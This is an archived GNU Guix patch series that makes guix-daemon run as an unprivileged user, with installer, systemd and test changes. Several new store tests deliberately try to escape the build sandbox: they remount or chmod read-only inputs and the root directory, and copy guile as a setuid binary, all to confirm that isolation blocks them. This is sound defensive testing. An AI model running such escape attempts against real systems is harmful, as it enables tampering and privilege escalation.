     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg_info "group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg_pass "group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg_info "group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg_info "user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg_pass "user added <guixbuilder${i}>"
-        fi
-    done
+    if can_install_unprivileged_daemon
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg_info "group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg_pass "group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon /gnu /var/guix
+	chown -R root:root /var/guix/profiles/per-user/root
+
+	# The unprivileged daemon cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg_info "group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg_pass "group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -487,6 +534,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg_info "remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -529,11 +584,11 @@ sys_enable_guix_daemon()
 
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
-              # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      install_unit gnu-store.mount
 
               systemctl daemon-reload &&
-                  systemctl start  guix-daemon; } &&
+                  systemctl start guix-daemon &&
+	          systemctl start gnu-store.mount; } &&
                 _msg_pass "enabled Guix daemon via systemd"
             ;;
         sysv-init)
@@ -654,6 +709,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg_pass "Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg_info "Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:18 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:18 2025
Received: from localhost ([127.0.0.1]:36053 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Am-0004Wl-Ik
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:17 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34862)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AU-0004Pl-GP
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:59 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AO-0001zT-PX; Fri, 14 Mar 2025 13:49:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=ilkq8T90NgjE4yRlAWgTqOqGPLo2p9/2ak11UYRf6PE=; b=Rmvh0JeO2p3YpzEMRmXa
 /uTB2k+420w7wDPhE93VG6xvZr88v59IqpdbffvyBNjb3YpUxXUdfhqZLJUzyQ/r3z+wBCzDaoAb2
 nwEDMnkMH2iIomJsh5N/0XO+d+mZ7WgRMhqBXj5N1qozeS9uNIAEudKIyDMwzPGX3oJE5UPALkVYE
 b623ByXHsA8vWs+JUS4bQIwxkU+bYVWPYTr7VVosHWsQGFPEVeJYshRcf7tpXTygZVRdf2nmESRHa
 RPFHJK0XHkqD/R9oRToSxOXpdv7R5NkZS3nt7u0K4sYdGMPEqIukk6PdXdNFZBBsmAA1MbifCDzqz
 nHFQTYSnbK5IoQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 11/14] tests: Run in a chroot and unprivileged user
 namespaces.
Date: Fri, 14 Mar 2025 18:48:08 +0100
Message-ID: <ca04870eced97c5b67e160b64cae32c218765d00.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking and warn in that case.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("symlink is symlink")
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write")
("build root cannot be made world-readable")
("/tmp, store, and /dev/{null,full} are writable")
("network is unreachable"): New tests.
* tests/processes.scm ("client + lock"): Skip when
‘unprivileged-user-namespace-supported?’ returns true.

Change-Id: I3b3c3ebdf6db5fd36ee70251d07b893c17ca1b84
---
 build-aux/test-env.in |  16 ++-
 tests/processes.scm   |   9 +-
 tests/store.scm       | 250 ++++++++++++++++++++++++++++++++++++------
 3 files changed, 237 insertions(+), 38 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da58..a3f225582d 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,22 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+	echo "unprivileged user namespaces not supported; \
+running 'guix-daemon $extra_options'" >&2
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/processes.scm b/tests/processes.scm
index ba518f2d9e..a72ba16f58 100644
--- a/tests/processes.scm
+++ b/tests/processes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2018 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2018, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2019 Mathieu Othacehe <m.othacehe@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
@@ -25,6 +25,8 @@ (define-module (test-processes)
   #:use-module (guix gexp)
   #:use-module ((guix utils) #:select (call-with-temporary-directory))
   #:use-module (gnu packages bootstrap)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix tests)
   #:use-module (srfi srfi-1)
   #:use-module (srfi srfi-64)
@@ -84,6 +86,11 @@ (define-syntax-rule (test-assert* description exp)
       (and (kill (process-id daemon) 0)
            (string-suffix? "guix-daemon" (first (process-command daemon)))))))
 
+(when (unprivileged-user-namespace-supported?)
+  ;; The test below assumes the build process can communicate with the outside
+  ;; world via the TOKEN1 and TOKEN2 files, which is impossible when
+  ;; guix-daemon is set up to build in separate namespaces.
+  (test-skip 1))
 (test-assert* "client + lock"
   (with-store store
     (call-with-temporary-directory
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f43..aa2477ef75 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,191 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(test-assert "symlink is symlink"
+  (let* ((a (add-text-to-store %store "hello.txt" (random-text)))
+         (b (build-expression->derivation
+             %store "symlink"
+             '(symlink (assoc-ref %build-inputs "a") %output)
+             #:inputs `(("a" ,a))))
+         (c (build-expression->derivation
+             %store "symlink-reference"
+             `(call-with-output-file %output
+                (lambda (port)
+                  ;; Check that B is indeed visible as a symlink.  This should
+                  ;; always be the case, both in the '--disable-chroot' and in
+                  ;; the user namespace setups.
+                  (pk 'stat (lstat (assoc-ref %build-inputs "b")))
+                  (display (readlink (assoc-ref %build-inputs "b"))
+                           port)))
+             #:inputs `(("b" ,b)))))
+    (and (build-derivations %store (list c))
+         (string=? (call-with-input-file (derivation->output-path c)
+                     get-string-all)
+                   a))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-write-to-input"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "build root cannot be made world-readable"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-make-root-world-readable"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((guile (string-append (assoc-ref %guile-build-info
+                                                         'bindir)
+                                              "/guile")))
+                    (catch 'system-error
+                      (lambda ()
+                        (chmod "/" #o777))
+                      (lambda args
+                        (format #t "failed to make root writable: ~a~%"
+                                (strerror (system-error-errno args)))
+                        (format #t "attempting read-write remount~%")
+                        (mount "none" "/" "/" (logior MS_BIND MS_REMOUNT))
+                        (chmod "/" #o777)))
+                    (copy-file guile "/guile")
+                    (chmod "/guile" #o6755)
+                    ;; At this point, there's a world-readable setuid 'guile'
+                    ;; binary in the store that remains visible until this
+                    ;; build completes.
+                    (list #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "/tmp, store, and /dev/{null,full} are writable"
+  ;; All of /tmp and all of the store must be writable (the store is writable
+  ;; so that derivation outputs can be written to it, but in practice it's
+  ;; always been wide open).  Things like /dev/null must be writable too.
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-tmp-and-store-are-writable"
+                #~(begin
+                    (mkdir "/tmp/something")
+                    (mkdir (in-vicinity (getenv "NIX_STORE")
+                                        "some-other-thing"))
+                    (call-with-output-file "/dev/null"
+                      (lambda (port)
+                        (display "Welcome to the void." port)))
+                    (catch 'system-error
+                      (lambda ()
+                        (call-with-output-file "/dev/full"
+                          (lambda (port)
+                            (display "No space left!" port)))
+                        (error "Should have thrown!"))
+                      (lambda args
+                        (unless (= ENOSPC (system-error-errno args))
+                          (apply throw args))))
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "network is unreachable"
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-network-unreachable"
+                #~(let ((check-connection-failure
+                         (lambda (address expected-code)
+                           (let ((s (socket AF_INET SOCK_STREAM 0)))
+                             (catch 'system-error
+                               (lambda ()
+                                 (connect s AF_INET (inet-pton AF_INET address) 80))
+                               (lambda args
+                                 (let ((errno (system-error-errno args)))
+                                   (unless (= expected-code errno)
+                                     (error "wrong error code"
+                                            errno (strerror errno))))))))))
+                    (check-connection-failure "127.0.0.1" ECONNREFUSED)
+                    (check-connection-failure "9.9.9.9" ENETUNREACH)
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1522,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:16 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:16 2025
Received: from localhost ([127.0.0.1]:36050 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Al-0004WH-Ve
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:16 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34870)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AV-0004Pn-AW
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:59 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AP-0001zc-Uk; Fri, 14 Mar 2025 13:49:53 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=UDEk6vq1C9HSdyxCSLuhOLlaq0xO7wxGb0uACXLDe0E=; b=iapH6kUEi5LfXKp6PIfD
 jFZXwIuKVmqObTSsIPvfb7sOITzsTzi9J07lWXodwzvHcBqUT3MzMlUHXvGd5tLnt2E1dahSl1ddc
 BdoEPBotOc0aSI4/59w3fjK0aXaP3YHJT8QCP7dExV5elATOZlDEAF64A2EoQwtFNgHoy+bwgzTef
 /4t/5GAUOqoqaiAc6h95CQXK0OErYPfbk0YqTcxZV9ivNytYy2AYyIPKe8F0POnXDS+sD/49ZNZKG
 CdsRbHoQWp3+oN2NypNuMi6/tMMnHKC4N73BgCPpboL/I5X3+fYIsSA6Pmor4uXN/fosc/ZNAeWfB
 Kfi3+75sw8irEg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 12/14] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Fri, 14 Mar 2025 18:48:09 +0100
Message-ID: <00d1d9c120c7d8e33fe09a57df7f0818b5ff0df4.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(Environment): Add ‘GUIX_STATE_DIRECTORY’.
(Before, User, AmbientCapabilities, PrivateMounts, BindPaths): New fields.
* etc/gnu-store.mount.in (Before): Remove.
(WantedBy): Change to ‘multi-user.target’.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/gnu-store.mount.in     |  3 +--
 etc/guix-daemon.service.in | 22 ++++++++++++++++++++--
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/etc/gnu-store.mount.in b/etc/gnu-store.mount.in
index c94f2db72b..f9918c9e52 100644
--- a/etc/gnu-store.mount.in
+++ b/etc/gnu-store.mount.in
@@ -2,10 +2,9 @@
 Description=Read-only @storedir@ for GNU Guix
 DefaultDependencies=no
 ConditionPathExists=@storedir@
-Before=guix-daemon.service
 
 [Install]
-WantedBy=guix-daemon.service
+WantedBy=multi-user.target
 
 [Mount]
 What=@storedir@
diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1..c4faf1bcfe 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -5,11 +5,29 @@
 [Unit]
 Description=Build daemon for GNU Guix
 
+# Start before 'gnu-store.mount' to get a writable view of the store.
+Before=gnu-store.mount
+
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
-Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+Environment='GUIX_STATE_DIRECTORY=@localstatedir@/guix' 'GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Bind-mount the store read-write in a private namespace, to counter the
+# effect of 'gnu-store.mount'.
+PrivateMounts=true
+BindPaths=@storedir@
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:16 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:15 2025
Received: from localhost ([127.0.0.1]:36048 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Al-0004VI-4E
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:15 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34846)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AT-0004Pf-LA
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:58 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AO-0001zH-AJ; Fri, 14 Mar 2025 13:49:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=b8CNe7Kd4LDHNqpleCFnb1ypaRvesBWH130JtOnxyOw=; b=GGMjXAO8N8MLER7NgguD
 SVKnv3tn45QP6WY/U/MdbLBIXoe+82LxXPfQaaaIK8+urj0a1f+X5u+ugA7J2fuZF7I9fy/uXkjBs
 6yVZOt8h1op8C3ssOIQtoudQmnSXIPte+t0vqs6qhzV9heDXaB4jcu3B/VxUOJiB8e4cHZvSCcHui
 frog92Z9l6ENYf9LJ9EFLwVqRSwl74kZc0uQbgDSEnxTe4DPFcCwq56Yt4ThG9as+kTacwf/L17xX
 h3/4QWWja2IbsR+O6YrMS3NB+fN54YXvwWBPy7eXcVMQAucx0I6yoKsvS7t7fVfOK6MaDcnTbvV8o
 a+BXIoNmeaZviA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 10/14] tests: Add missing derivation inputs.
Date: Fri, 14 Mar 2025 18:48:07 +0100
Message-ID: <817d91a82d60546476736e014acd28eb8043b63f.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
